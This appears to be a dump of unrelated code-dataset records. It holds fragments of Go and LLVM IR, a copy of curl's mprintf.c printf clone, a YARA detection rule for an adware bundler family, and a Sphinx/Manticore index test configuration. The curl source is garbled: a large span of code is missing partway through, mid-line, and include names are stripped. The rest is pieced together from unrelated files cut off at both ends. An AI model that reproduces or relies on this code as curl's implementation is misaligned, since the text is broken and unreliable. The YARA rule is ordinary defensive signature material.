10\n\t}\n\nbad:\n\treturn 0, 0\n}\n"} +{"text": "define void @f2() {\n ret void\n}\n"} +{"text": "/***************************************************************************\n * _ _ ____ _\n * Project ___| | | | _ \\| |\n * / __| | | | |_) | |\n * | (__| |_| | _ <| |___\n * \\___|\\___/|_| \\_\\_____|\n *\n * Copyright (C) 1999 - 2017, Daniel Stenberg, , et al.\n *\n * This software is licensed as described in the file COPYING, which\n * you should have received as part of this distribution. The terms\n * are also available at https://curl.haxx.se/docs/copyright.html.\n *\n * You may opt to use, copy, modify, merge, publish, distribute and/or sell\n * copies of the Software, and permit persons to whom the Software is\n * furnished to do so, under the terms of the COPYING file.\n *\n * This software is distributed on an \"AS IS\" basis, WITHOUT WARRANTY OF ANY\n * KIND, either express or implied.\n *\n *\n * Purpose:\n * A merge of Bjorn Reese's format() function and Daniel's dsprintf()\n * 1.0. A full blooded printf() clone with full support for $\n * everywhere (parameters, widths and precisions) including variabled\n * sized parameters (like doubles, long longs, long doubles and even\n * void * in 64-bit architectures).\n *\n * Current restrictions:\n * - Max 128 parameters\n * - No 'long double' support.\n *\n * If you ever want truly portable and good *printf() clones, the project that\n * took on from here is named 'Trio' and you find more details on the trio web\n * page at https://daniel.haxx.se/projects/trio/\n */\n\n#include \"curl_setup.h\"\n#include \n\n#include \"curl_memory.h\"\n/* The last #include file should be: */\n#include \"memdebug.h\"\n\n/*\n * If SIZEOF_SIZE_T has not been defined, default to the size of long.\n */\n\n#ifdef HAVE_LONGLONG\n# define LONG_LONG_TYPE long long\n# define HAVE_LONG_LONG_TYPE\n#else\n# if defined(_MSC_VER) && (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64)\n# define LONG_LONG_TYPE __int64\n# define HAVE_LONG_LONG_TYPE\n# else\n# undef LONG_LONG_TYPE\n# undef HAVE_LONG_LONG_TYPE\n# endif\n#endif\n\n/*\n * Non-ANSI integer extensions\n */\n\n#if (defined(__BORLANDC__) && (__BORLANDC__ >= 0x520)) || \\\n (defined(__WATCOMC__) && defined(__386__)) || \\\n (defined(__POCC__) && defined(_MSC_VER)) || \\\n (defined(_WIN32_WCE)) || \\\n (defined(__MINGW32__)) || \\\n (defined(_MSC_VER) && (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64))\n# define MP_HAVE_INT_EXTENSIONS\n#endif\n\n/*\n * Max integer data types that mprintf.c is capable\n */\n\n#ifdef HAVE_LONG_LONG_TYPE\n# define mp_intmax_t LONG_LONG_TYPE\n# define mp_uintmax_t unsigned LONG_LONG_TYPE\n#else\n# define mp_intmax_t long\n# define mp_uintmax_t unsigned long\n#endif\n\n#define BUFFSIZE 326 /* buffer for long-to-str and float-to-str calcs, should\n fit negative DBL_MAX (317 letters) */\n#define MAX_PARAMETERS 128 /* lame static limit */\n\n#ifdef __AMIGA__\n# undef FORMAT_INT\n#endif\n\n/* Lower-case digits. */\nstatic const char lower_digits[] = \"0123456789abcdefghijklmnopqrstuvwxyz\";\n\n/* Upper-case digits. */\nstatic const char upper_digits[] = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n#define OUTCHAR(x) \\\n do{ \\\n if(stream((unsigned char)(x), (FILE *)data) != -1) \\\n done++; \\\n else \\\n return done; /* return immediately on failure */ \\\n } WHILE_FALSE\n\n/* Data type to read from the arglist */\ntypedef enum {\n FORMAT_UNKNOWN = 0,\n FORMAT_STRING,\n FORMAT_PTR,\n FORMAT_INT,\n FORMAT_INTPTR,\n FORMAT_LONG,\n FORMAT_LONGLONG,\n FORMAT_DOUBLE,\n FORMAT_LONGDOUBLE,\n FORMAT_WIDTH /* For internal use */\n} FormatType;\n\n/* conversion and display flags */\nenum {\n FLAGS_NEW = 0,\n FLAGS_SPACE = 1<<0,\n FLAGS_SHOWSIGN = 1<<1,\n FLAGS_LEFT = 1<<2,\n FLAGS_ALT = 1<<3,\n FLAGS_SHORT = 1<<4,\n FLAGS_LONG = 1<<5,\n FLAGS_LONGLONG = 1<<6,\n FLAGS_LONGDOUBLE = 1<<7,\n FLAGS_PAD_NIL = 1<<8,\n FLAGS_UNSIGNED = 1<<9,\n FLAGS_OCTAL = 1<<10,\n FLAGS_HEX = 1<<11,\n FLAGS_UPPER = 1<<12,\n FLAGS_WIDTH = 1<<13, /* '*' or '*$' used */\n FLAGS_WIDTHPARAM = 1<<14, /* width PARAMETER was specified */\n FLAGS_PREC = 1<<15, /* precision was specified */\n FLAGS_PRECPARAM = 1<<16, /* precision PARAMETER was specified */\n FLAGS_CHAR = 1<<17, /* %c story */\n FLAGS_FLOATE = 1<<18, /* %e or %E */\n FLAGS_FLOATG = 1<<19 /* %g or %G */\n};\n\ntypedef struct {\n FormatType type;\n int flags;\n long width; /* width OR width parameter number */\n long precision; /* precision OR precision parameter number */\n union {\n char *str;\n void *ptr;\n union {\n mp_intmax_t as_signed;\n mp_uintmax_t as_unsigned;\n } num;\n double dnum;\n } data;\n} va_stack_t;\n\nstruct nsprintf {\n char *buffer;\n size_t length;\n size_t max;\n};\n\nstruct asprintf {\n char *buffer; /* allocated buffer */\n size_t len; /* length of string */\n size_t alloc; /* length of alloc */\n int fail; /* (!= 0) if an alloc has failed and thus\n the output is not the complete data */\n};\n\nstatic long dprintf_DollarString(char *input, char **end)\n{\n int number = 0;\n while(ISDIGIT(*input)) {\n number *= 10;\n number += *input-'0';\n input++;\n }\n if(number && ('$'==*input++)) {\n *end = input;\n return number;\n }\n return 0;\n}\n\nstatic bool dprintf_IsQualifierNoDollar(const char *fmt)\n{\n#if defined(MP_HAVE_INT_EXTENSIONS)\n if(!strncmp(fmt, \"I32\", 3) || !strncmp(fmt, \"I64\", 3)) {\n return TRUE;\n }\n#endif\n\n switch(*fmt) {\n case '-': case '+': case ' ': case '#': case '.':\n case '0': case '1': case '2': case '3': case '4':\n case '5': case '6': case '7': case '8': case '9':\n case 'h': case 'l': case 'L': case 'z': case 'q':\n case '*': case 'O':\n#if defined(MP_HAVE_INT_EXTENSIONS)\n case 'I':\n#endif\n return TRUE;\n\n default:\n return FALSE;\n }\n}\n\n/******************************************************************\n *\n * Pass 1:\n * Create an index with the type of each parameter entry and its\n * value (may vary in size)\n *\n * Returns zero on success.\n *\n ******************************************************************/\n\nstatic int dprintf_Pass1(const char *format, va_stack_t *vto, char **endpos,\n va_list arglist)\n{\n char *fmt = (char *)format;\n int param_num = 0;\n long this_param;\n long width;\n long precision;\n int flags;\n long max_param = 0;\n long i;\n\n while(*fmt) {\n if(*fmt++ == '%') {\n if(*fmt == '%') {\n fmt++;\n continue; /* while */\n }\n\n flags = FLAGS_NEW;\n\n /* Handle the positional case (N$) */\n\n param_num++;\n\n this_param = dprintf_DollarString(fmt, &fmt);\n if(0 == this_param)\n /* we got no positional, get the next counter */\n this_param = param_num;\n\n if(this_param > max_param)\n max_param = this_param;\n\n /*\n * The parameter with number 'i' should be used. Next, we need\n * to get SIZE and TYPE of the parameter. Add the information\n * to our array.\n */\n\n width = 0;\n precision = 0;\n\n /* Handle the flags */\n\n while(dprintf_IsQualifierNoDollar(fmt)) {\n#if defined(MP_HAVE_INT_EXTENSIONS)\n if(!strncmp(fmt, \"I32\", 3)) {\n flags |= FLAGS_LONG;\n fmt += 3;\n }\n else if(!strncmp(fmt, \"I64\", 3)) {\n flags |= FLAGS_LONGLONG;\n fmt += 3;\n }\n else\n#endif\n\n switch(*fmt++) {\n case ' ':\n flags |= FLAGS_SPACE;\n break;\n case '+':\n flags |= FLAGS_SHOWSIGN;\n break;\n case '-':\n flags |= FLAGS_LEFT;\n flags &= ~FLAGS_PAD_NIL;\n break;\n case '#':\n flags |= FLAGS_ALT;\n break;\n case '.':\n if('*' == *fmt) {\n /* The precision is picked from a specified parameter */\n\n flags |= FLAGS_PRECPARAM;\n fmt++;\n param_num++;\n\n i = dprintf_DollarString(fmt, &fmt);\n if(i)\n precision = i;\n else\n precision = param_num;\n\n if(precision > max_param)\n max_param = precision;\n }\n else {\n flags |= FLAGS_PREC;\n precision = strtol(fmt, &fmt, 10);\n }\n break;\n case 'h':\n flags |= FLAGS_SHORT;\n break;\n#if defined(MP_HAVE_INT_EXTENSIONS)\n case 'I':\n#if (SIZEOF_CURL_OFF_T > SIZEOF_LONG)\n flags |= FLAGS_LONGLONG;\n#else\n flags |= FLAGS_LONG;\n#endif\n break;\n#endif\n case 'l':\n if(flags & FLAGS_LONG)\n flags |= FLAGS_LONGLONG;\n else\n flags |= FLAGS_LONG;\n break;\n case 'L':\n flags |= FLAGS_LONGDOUBLE;\n break;\n case 'q':\n flags |= FLAGS_LONGLONG;\n break;\n case 'z':\n /* the code below generates a warning if -Wunreachable-code is\n used */\n#if (SIZEOF_SIZE_T > SIZEOF_LONG)\n flags |= FLAGS_LONGLONG;\n#else\n flags |= FLAGS_LONG;\n#endif\n break;\n case 'O':\n#if (SIZEOF_CURL_OFF_T > SIZEOF_LONG)\n flags |= FLAGS_LONGLONG;\n#else\n flags |= FLAGS_LONG;\n#endif\n break;\n case '0':\n if(!(flags & FLAGS_LEFT))\n flags |= FLAGS_PAD_NIL;\n /* FALLTHROUGH */\n case '1': case '2': case '3': case '4':\n case '5': case '6': case '7': case '8': case '9':\n flags |= FLAGS_WIDTH;\n width = strtol(fmt-1, &fmt, 10);\n break;\n case '*': /* Special case */\n flags |= FLAGS_WIDTHPARAM;\n param_num++;\n\n i = dprintf_DollarString(fmt, &fmt);\n if(i)\n width = i;\n else\n width = param_num;\n if(width > max_param)\n max_param = width;\n break;\n default:\n break;\n }\n } /* switch */\n\n /* Handle the specifier */\n\n i = this_param - 1;\n\n if((i < 0) || (i >= MAX_PARAMETERS))\n /* out of allowed range */\n return 1;\n\n switch (*fmt) {\n case 'S':\n flags |= FLAGS_ALT;\n /* FALLTHROUGH */\n case 's':\n vto[i].type = FORMAT_STRING;\n break;\n case 'n':\n vto[i].type = FORMAT_INTPTR;\n break;\n case 'p':\n vto[i].type = FORMAT_PTR;\n break;\n case 'd': case 'i':\n vto[i].type = FORMAT_INT;\n break;\n case 'u':\n vto[i].type = FORMAT_INT;\n flags |= FLAGS_UNSIGNED;\n break;\n case 'o':\n vto[i].type = FORMAT_INT;\n flags |= FLAGS_OCTAL;\n break;\n case 'x':\n vto[i].type = FORMAT_INT;\n flags |= FLAGS_HEX|FLAGS_UNSIGNED;\n break;\n case 'X':\n vto[i].type = FORMAT_INT;\n flags |= FLAGS_HEX|FLAGS_UPPER|FLAGS_UNSIGNED;\n break;\n case 'c':\n vto[i].type = FORMAT_INT;\n flags |= FLAGS_CHAR;\n break;\n case 'f':\n vto[i].type = FORMAT_DOUBLE;\n break;\n case 'e':\n vto[i].type = FORMAT_DOUBLE;\n flags |= FLAGS_FLOATE;\n break;\n case 'E':\n vto[i].type = FORMAT_DOUBLE;\n flags |= FLAGS_FLOATE|FLAGS_UPPER;\n break;\n case 'g':\n vto[i].type = FORMAT_DOUBLE;\n flags |= FLAGS_FLOATG;\n break;\n case 'G':\n vto[i].type = FORMAT_DOUBLE;\n flags |= FLAGS_FLOATG|FLAGS_UPPER;\n break;\n default:\n vto[i].type = FORMAT_UNKNOWN;\n break;\n } /* switch */\n\n vto[i].flags = flags;\n vto[i].width = width;\n vto[i].precision = precision;\n\n if(flags & FLAGS_WIDTHPARAM) {\n /* we have the width specified from a parameter, so we make that\n parameter's info setup properly */\n long k = width - 1;\n vto[i].width = k;\n vto[k].type = FORMAT_WIDTH;\n vto[k].flags = FLAGS_NEW;\n /* can't use width or precision of width! */\n vto[k].width = 0;\n vto[k].precision = 0;\n }\n if(flags & FLAGS_PRECPARAM) {\n /* we have the precision specified from a parameter, so we make that\n parameter's info setup properly */\n long k = precision - 1;\n vto[i].precision = k;\n vto[k].type = FORMAT_WIDTH;\n vto[k].flags = FLAGS_NEW;\n /* can't use width or precision of width! */\n vto[k].width = 0;\n vto[k].precision = 0;\n }\n *endpos++ = fmt + 1; /* end of this sequence */\n }\n }\n\n /* Read the arg list parameters into our data list */\n for(i = 0; i$ sequence */\n param = dprintf_DollarString(f, &f);\n\n if(!param)\n param = param_num;\n else\n --param;\n\n param_num++; /* increase this always to allow \"%2$s %1$s %s\" and then the\n third %s will pick the 3rd argument */\n\n p = &vto[param];\n\n /* pick up the specified width */\n if(p->flags & FLAGS_WIDTHPARAM) {\n width = (long)vto[p->width].data.num.as_signed;\n param_num++; /* since the width is extracted from a parameter, we\n must skip that to get to the next one properly */\n if(width < 0) {\n /* \"A negative field width is taken as a '-' flag followed by a\n positive field width.\" */\n width = -width;\n p->flags |= FLAGS_LEFT;\n p->flags &= ~FLAGS_PAD_NIL;\n }\n }\n else\n width = p->width;\n\n /* pick up the specified precision */\n if(p->flags & FLAGS_PRECPARAM) {\n prec = (long)vto[p->precision].data.num.as_signed;\n param_num++; /* since the precision is extracted from a parameter, we\n must skip that to get to the next one properly */\n if(prec < 0)\n /* \"A negative precision is taken as if the precision were\n omitted.\" */\n prec = -1;\n }\n else if(p->flags & FLAGS_PREC)\n prec = p->precision;\n else\n prec = -1;\n\n is_alt = (p->flags & FLAGS_ALT) ? 1 : 0;\n\n switch(p->type) {\n case FORMAT_INT:\n num = p->data.num.as_unsigned;\n if(p->flags & FLAGS_CHAR) {\n /* Character. */\n if(!(p->flags & FLAGS_LEFT))\n while(--width > 0)\n OUTCHAR(' ');\n OUTCHAR((char) num);\n if(p->flags & FLAGS_LEFT)\n while(--width > 0)\n OUTCHAR(' ');\n break;\n }\n if(p->flags & FLAGS_OCTAL) {\n /* Octal unsigned integer. */\n base = 8;\n goto unsigned_number;\n }\n else if(p->flags & FLAGS_HEX) {\n /* Hexadecimal unsigned integer. */\n\n digits = (p->flags & FLAGS_UPPER)? upper_digits : lower_digits;\n base = 16;\n goto unsigned_number;\n }\n else if(p->flags & FLAGS_UNSIGNED) {\n /* Decimal unsigned integer. */\n base = 10;\n goto unsigned_number;\n }\n\n /* Decimal integer. */\n base = 10;\n\n is_neg = (p->data.num.as_signed < (mp_intmax_t)0) ? 1 : 0;\n if(is_neg) {\n /* signed_num might fail to hold absolute negative minimum by 1 */\n signed_num = p->data.num.as_signed + (mp_intmax_t)1;\n signed_num = -signed_num;\n num = (mp_uintmax_t)signed_num;\n num += (mp_uintmax_t)1;\n }\n\n goto number;\n\n unsigned_number:\n /* Unsigned number of base BASE. */\n is_neg = 0;\n\n number:\n /* Number of base BASE. */\n\n /* Supply a default precision if none was given. */\n if(prec == -1)\n prec = 1;\n\n /* Put the number in WORK. */\n w = workend;\n while(num > 0) {\n *w-- = digits[num % base];\n num /= base;\n }\n width -= (long)(workend - w);\n prec -= (long)(workend - w);\n\n if(is_alt && base == 8 && prec <= 0) {\n *w-- = '0';\n --width;\n }\n\n if(prec > 0) {\n width -= prec;\n while(prec-- > 0)\n *w-- = '0';\n }\n\n if(is_alt && base == 16)\n width -= 2;\n\n if(is_neg || (p->flags & FLAGS_SHOWSIGN) || (p->flags & FLAGS_SPACE))\n --width;\n\n if(!(p->flags & FLAGS_LEFT) && !(p->flags & FLAGS_PAD_NIL))\n while(width-- > 0)\n OUTCHAR(' ');\n\n if(is_neg)\n OUTCHAR('-');\n else if(p->flags & FLAGS_SHOWSIGN)\n OUTCHAR('+');\n else if(p->flags & FLAGS_SPACE)\n OUTCHAR(' ');\n\n if(is_alt && base == 16) {\n OUTCHAR('0');\n if(p->flags & FLAGS_UPPER)\n OUTCHAR('X');\n else\n OUTCHAR('x');\n }\n\n if(!(p->flags & FLAGS_LEFT) && (p->flags & FLAGS_PAD_NIL))\n while(width-- > 0)\n OUTCHAR('0');\n\n /* Write the number. */\n while(++w <= workend) {\n OUTCHAR(*w);\n }\n\n if(p->flags & FLAGS_LEFT)\n while(width-- > 0)\n OUTCHAR(' ');\n break;\n\n case FORMAT_STRING:\n /* String. */\n {\n static const char null[] = \"(nil)\";\n const char *str;\n size_t len;\n\n str = (char *) p->data.str;\n if(str == NULL) {\n /* Write null[] if there's space. */\n if(prec == -1 || prec >= (long) sizeof(null) - 1) {\n str = null;\n len = sizeof(null) - 1;\n /* Disable quotes around (nil) */\n p->flags &= (~FLAGS_ALT);\n }\n else {\n str = \"\";\n len = 0;\n }\n }\n else if(prec != -1)\n len = (size_t)prec;\n else\n len = strlen(str);\n\n width -= (len > LONG_MAX) ? LONG_MAX : (long)len;\n\n if(p->flags & FLAGS_ALT)\n OUTCHAR('\"');\n\n if(!(p->flags&FLAGS_LEFT))\n while(width-- > 0)\n OUTCHAR(' ');\n\n while((len-- > 0) && *str)\n OUTCHAR(*str++);\n if(p->flags&FLAGS_LEFT)\n while(width-- > 0)\n OUTCHAR(' ');\n\n if(p->flags & FLAGS_ALT)\n OUTCHAR('\"');\n }\n break;\n\n case FORMAT_PTR:\n /* Generic pointer. */\n {\n void *ptr;\n ptr = (void *) p->data.ptr;\n if(ptr != NULL) {\n /* If the pointer is not NULL, write it as a %#x spec. */\n base = 16;\n digits = (p->flags & FLAGS_UPPER)? upper_digits : lower_digits;\n is_alt = 1;\n num = (size_t) ptr;\n is_neg = 0;\n goto number;\n }\n else {\n /* Write \"(nil)\" for a nil pointer. */\n static const char strnil[] = \"(nil)\";\n const char *point;\n\n width -= (long)(sizeof(strnil) - 1);\n if(p->flags & FLAGS_LEFT)\n while(width-- > 0)\n OUTCHAR(' ');\n for(point = strnil; *point != '\\0'; ++point)\n OUTCHAR(*point);\n if(! (p->flags & FLAGS_LEFT))\n while(width-- > 0)\n OUTCHAR(' ');\n }\n }\n break;\n\n case FORMAT_DOUBLE:\n {\n char formatbuf[32]=\"%\";\n char *fptr = &formatbuf[1];\n size_t left = sizeof(formatbuf)-strlen(formatbuf);\n int len;\n\n width = -1;\n if(p->flags & FLAGS_WIDTH)\n width = p->width;\n else if(p->flags & FLAGS_WIDTHPARAM)\n width = (long)vto[p->width].data.num.as_signed;\n\n prec = -1;\n if(p->flags & FLAGS_PREC)\n prec = p->precision;\n else if(p->flags & FLAGS_PRECPARAM)\n prec = (long)vto[p->precision].data.num.as_signed;\n\n if(p->flags & FLAGS_LEFT)\n *fptr++ = '-';\n if(p->flags & FLAGS_SHOWSIGN)\n *fptr++ = '+';\n if(p->flags & FLAGS_SPACE)\n *fptr++ = ' ';\n if(p->flags & FLAGS_ALT)\n *fptr++ = '#';\n\n *fptr = 0;\n\n if(width >= 0) {\n if(width >= (long)sizeof(work))\n width = sizeof(work)-1;\n /* RECURSIVE USAGE */\n len = curl_msnprintf(fptr, left, \"%ld\", width);\n fptr += len;\n left -= len;\n }\n if(prec >= 0) {\n /* for each digit in the integer part, we can have one less\n precision */\n size_t maxprec = sizeof(work) - 2;\n double val = p->data.dnum;\n while(val >= 10.0) {\n val /= 10;\n maxprec--;\n }\n\n if(prec > (long)maxprec)\n prec = (long)maxprec-1;\n /* RECURSIVE USAGE */\n len = curl_msnprintf(fptr, left, \".%ld\", prec);\n fptr += len;\n }\n if(p->flags & FLAGS_LONG)\n *fptr++ = 'l';\n\n if(p->flags & FLAGS_FLOATE)\n *fptr++ = (char)((p->flags & FLAGS_UPPER) ? 'E':'e');\n else if(p->flags & FLAGS_FLOATG)\n *fptr++ = (char)((p->flags & FLAGS_UPPER) ? 'G' : 'g');\n else\n *fptr++ = 'f';\n\n *fptr = 0; /* and a final zero termination */\n\n /* NOTE NOTE NOTE!! Not all sprintf implementations return number of\n output characters */\n (sprintf)(work, formatbuf, p->data.dnum);\n DEBUGASSERT(strlen(work) <= sizeof(work));\n for(fptr = work; *fptr; fptr++)\n OUTCHAR(*fptr);\n }\n break;\n\n case FORMAT_INTPTR:\n /* Answer the count of characters written. */\n#ifdef HAVE_LONG_LONG_TYPE\n if(p->flags & FLAGS_LONGLONG)\n *(LONG_LONG_TYPE *) p->data.ptr = (LONG_LONG_TYPE)done;\n else\n#endif\n if(p->flags & FLAGS_LONG)\n *(long *) p->data.ptr = (long)done;\n else if(!(p->flags & FLAGS_SHORT))\n *(int *) p->data.ptr = (int)done;\n else\n *(short *) p->data.ptr = (short)done;\n break;\n\n default:\n break;\n }\n f = *end++; /* goto end of %-code */\n\n }\n return done;\n}\n\n/* fputc() look-alike */\nstatic int addbyter(int output, FILE *data)\n{\n struct nsprintf *infop = (struct nsprintf *)data;\n unsigned char outc = (unsigned char)output;\n\n if(infop->length < infop->max) {\n /* only do this if we haven't reached max length yet */\n infop->buffer[0] = outc; /* store */\n infop->buffer++; /* increase pointer */\n infop->length++; /* we are now one byte larger */\n return outc; /* fputc() returns like this on success */\n }\n return -1;\n}\n\nint curl_mvsnprintf(char *buffer, size_t maxlength, const char *format,\n va_list ap_save)\n{\n int retcode;\n struct nsprintf info;\n\n info.buffer = buffer;\n info.length = 0;\n info.max = maxlength;\n\n retcode = dprintf_formatf(&info, addbyter, format, ap_save);\n if((retcode != -1) && info.max) {\n /* we terminate this with a zero byte */\n if(info.max == info.length)\n /* we're at maximum, scrap the last letter */\n info.buffer[-1] = 0;\n else\n info.buffer[0] = 0;\n }\n return retcode;\n}\n\nint curl_msnprintf(char *buffer, size_t maxlength, const char *format, ...)\n{\n int retcode;\n va_list ap_save; /* argument pointer */\n va_start(ap_save, format);\n retcode = curl_mvsnprintf(buffer, maxlength, format, ap_save);\n va_end(ap_save);\n return retcode;\n}\n\n/* fputc() look-alike */\nstatic int alloc_addbyter(int output, FILE *data)\n{\n struct asprintf *infop = (struct asprintf *)data;\n unsigned char outc = (unsigned char)output;\n\n if(!infop->buffer) {\n infop->buffer = malloc(32);\n if(!infop->buffer) {\n infop->fail = 1;\n return -1; /* fail */\n }\n infop->alloc = 32;\n infop->len = 0;\n }\n else if(infop->len + 1 >= infop->alloc) {\n char *newptr = NULL;\n size_t newsize = infop->alloc*2;\n\n /* detect wrap-around or other overflow problems */\n if(newsize > infop->alloc)\n newptr = realloc(infop->buffer, newsize);\n\n if(!newptr) {\n infop->fail = 1;\n return -1; /* fail */\n }\n infop->buffer = newptr;\n infop->alloc = newsize;\n }\n\n infop->buffer[ infop->len ] = outc;\n\n infop->len++;\n\n return outc; /* fputc() returns like this on success */\n}\n\nchar *curl_maprintf(const char *format, ...)\n{\n va_list ap_save; /* argument pointer */\n int retcode;\n struct asprintf info;\n\n info.buffer = NULL;\n info.len = 0;\n info.alloc = 0;\n info.fail = 0;\n\n va_start(ap_save, format);\n retcode = dprintf_formatf(&info, alloc_addbyter, format, ap_save);\n va_end(ap_save);\n if((-1 == retcode) || info.fail) {\n if(info.alloc)\n free(info.buffer);\n return NULL;\n }\n if(info.alloc) {\n info.buffer[info.len] = 0; /* we terminate this with a zero byte */\n return info.buffer;\n }\n return strdup(\"\");\n}\n\nchar *curl_mvaprintf(const char *format, va_list ap_save)\n{\n int retcode;\n struct asprintf info;\n\n info.buffer = NULL;\n info.len = 0;\n info.alloc = 0;\n info.fail = 0;\n\n retcode = dprintf_formatf(&info, alloc_addbyter, format, ap_save);\n if((-1 == retcode) || info.fail) {\n if(info.alloc)\n free(info.buffer);\n return NULL;\n }\n\n if(info.alloc) {\n info.buffer[info.len] = 0; /* we terminate this with a zero byte */\n return info.buffer;\n }\n return strdup(\"\");\n}\n\nstatic int storebuffer(int output, FILE *data)\n{\n char **buffer = (char **)data;\n unsigned char outc = (unsigned char)output;\n **buffer = outc;\n (*buffer)++;\n return outc; /* act like fputc() ! */\n}\n\nint curl_msprintf(char *buffer, const char *format, ...)\n{\n va_list ap_save; /* argument pointer */\n int retcode;\n va_start(ap_save, format);\n retcode = dprintf_formatf(&buffer, storebuffer, format, ap_save);\n va_end(ap_save);\n *buffer = 0; /* we terminate this with a zero byte */\n return retcode;\n}\n\nint curl_mprintf(const char *format, ...)\n{\n int retcode;\n va_list ap_save; /* argument pointer */\n va_start(ap_save, format);\n\n retcode = dprintf_formatf(stdout, fputc, format, ap_save);\n va_end(ap_save);\n return retcode;\n}\n\nint curl_mfprintf(FILE *whereto, const char *format, ...)\n{\n int retcode;\n va_list ap_save; /* argument pointer */\n va_start(ap_save, format);\n retcode = dprintf_formatf(whereto, fputc, format, ap_save);\n va_end(ap_save);\n return retcode;\n}\n\nint curl_mvsprintf(char *buffer, const char *format, va_list ap_save)\n{\n int retcode;\n retcode = dprintf_formatf(&buffer, storebuffer, format, ap_save);\n *buffer = 0; /* we terminate this with a zero byte */\n return retcode;\n}\n\nint curl_mvprintf(const char *format, va_list ap_save)\n{\n return dprintf_formatf(stdout, fputc, format, ap_save);\n}\n\nint curl_mvfprintf(FILE *whereto, const char *format, va_list ap_save)\n{\n return dprintf_formatf(whereto, fputc, format, ap_save);\n}\n"} +{"text": "\nrule n3e9_239a5bb9d4e30912\n{\n\n meta:\n copyright=\"Copyright (c) 2014-2018 Support Intelligence Inc, All Rights Reserved.\"\n engine=\"saphire/1.3.1 divinorum/0.998 icewater/0.4\"\n viz_url=\"http://icewater.io/en/cluster/query?h64=n3e9.239a5bb9d4e30912\"\n cluster=\"n3e9.239a5bb9d4e30912\"\n cluster_size=\"49\"\n filetype = \"application/x-dosexec\"\n tlp = \"amber\"\n version = \"icewater snowflake\"\n author = \"Rick Wesson (@wessorh) rick@support-intelligence.com\"\n date = \"20171120\"\n license = \"RIL-1.0 [Rick's Internet License] \"\n family=\"ibryte bundler optimuminstaller\"\n md5_hashes=\"['106fc984030785066329ec9236a01d08','2e9a2436b90b43e30127ce75db819417','6bca3457b4e9fef1b73d7db789e3631d']\"\n\n strings:\n $hex_string = { 8054827c9929c958a2a124e3f8f41ab665c7be91ddb230275e6aa60c6b579e45acae6df21e95ab8a76b220668d281acfda5cf6878f40df53d91702514be73ed7 }\n\n condition:\n \n filesize > 262144 and filesize < 1048576\n and $hex_string\n}\n"} +{"text": "#F0f0C0\n"} +{"text": "\n\n\nsv-base indexing 1\n\n\nindexer\n{\n\tmem_limit = 16M\n}\n\nsearchd\n{\n\t\n}\n\nsource src11\n{\n\ttype = xmlpipe2\n\txmlpipe_command = cat /data1.xml\n\txmlpipe_field = title\n\txmlpipe_field = content\n\txmlpipe_attr_uint = gid\n\txmlpipe_attr_uint = uid\n\txmlpipe_attr_uint = gid\n}\n\nindex xml11\n{\n\tsource = src11\n\tpath = /xml11\n dict = keywords\n}\n\nsource src12\n{\n\ttype = xmlpipe2\n\txmlpipe_command = cat /data1.xml\n\txmlpipe_field = title\n\txmlpipe_field = content\n\txmlpipe_attr_uint = gid\n\txmlpipe_attr_uint = uid\n}\n\nindex xml12\n{\n\tsource = src12\n\tpath = /xml12\n dict = keywords\n}\n\nsource src21\n{\n\ttype = tsvpipe\n\ttsvpipe_command = cat /data1.tsv\n\ttsvpipe_field = title\n\ttsvpipe_field = content\n\ttsvpipe_attr_uint = gid\n\ttsvpipe_attr_uint = uid\n\ttsvpipe_attr_uint = gid\n\ttsvpipe_attr_float = lat\n}\n\nindex tsv21\n{\n\tsource = src21\n\tpath = /tsv21\n dict = keywords\n}\n\nsource src22\n{\n\ttype = tsvpipe\n\ttsvpipe_command = cat /data1.tsv\n\ttsvpipe_field = title\n\ttsvpipe_field = content\n\ttsvpipe_attr_uint = gid\n\ttsvpipe_attr_uint = uid\n\ttsvpipe_attr_float = lat\n}\n\nindex tsv22\n{\n\tsource = src22\n\tpath = /tsv22\n dict = keywords\n}\n\nsource src31\n{\n\ttype = csvpipe\n\tcsvpipe_command = cat /data1.csv\n\tcsvpipe_field = title\n\tcsvpipe_field = content\n\tcsvpipe_attr_uint = gid\n\tcsvpipe_attr_uint = uid\n\tcsvpipe_attr_uint = gid\n}\n\nindex csv31\n{\n\tsource = src31\n\tpath = /csv31\n dict = keywords\n}\n\nsource src32\n{\n\ttype = csvpipe\n\tcsvpipe_command = cat /data1.csv\n\tcsvpipe_field = title\n\tcsvpipe_field = content\n\tcsvpipe_attr_uint = gid\n\tcsvpipe_attr_uint = uid\n}\n\nindex csv32\n{\n\tsource = src32\n\tpath = /csv32\n dict = keywords\n}\n\nindex tsv_l1\n{\n\tsource = src22\n\tpath = /tsv_l1\n dict = keywords\n\tindex_field_lengths = 1\n}\n\nindex csv_l1\n{\n\tsource = src32\n\tpath = /csv_l1\n dict = keywords\n\tindex_field_lengths = 1\n}\n\nsource movies\n{\n type = csvpipe\n csvpipe_command = cat /data2.csv\n csvpipe_field = color\n csvpipe_field = director_name\n csvpipe_attr_uint = num_critic_for_reviews\n csvpipe_attr_uint = duration\n csvpipe_attr_uint = director_facebook_likes\n csvpipe_attr_uint = actor_3_facebook_likes\n csvpipe_field = actor_2_name\n csvpipe_attr_uint = actor_1_facebook_likes\n csvpipe_attr_uint = gross\n csvpipe_field = genres\n csvpipe_field = actor_1_name\n csvpipe_field = movie_title\n csvpipe_attr_uint = num_voted_users\n csvpipe_attr_uint = cast_total_facebook_likes\n csvpipe_field = actor_3_name\n csvpipe_attr_uint = facenumber_in_poster\n csvpipe_field = plot_keywords\n csvpipe_field = movie_imdb_link\n csvpipe_attr_uint = num_user_for_reviews\n csvpipe_field = language\n csvpipe_field = country\n csvpipe_field = content_rating\n csvpipe_attr_uint = budget\n csvpipe_attr_uint = title_year\n csvpipe_attr_uint = actor_2_facebook_likes\n csvpipe_attr_float = imdb_score\n csvpipe_attr_float = aspect_ration\n csvpipe_attr_uint = movie_facebook_likes\n}\n\nindex movies\n{\n type = plain\n path = /movies\n source = movies\n min_infix_len = 2\n stored_fields = director_name,actor_2_name,actor_1_name,movie_title,actor_3_name\n stored_only_fields = color,movie_imdb_link,language,country,content_rating\n}\n\n\n\nSELECT * FROM xml11 ORDER BY id asc\nSELECT * FROM xml12 ORDER BY id asc\nSELECT * FROM tsv21 ORDER BY id asc\nSELECT * FROM tsv22 ORDER BY id asc\nSELECT * FROM csv31 ORDER BY id asc\nSELECT * FROM csv32 ORDER BY id asc\n\n\nSELECT * FROM tsv_l1 ORDER BY id 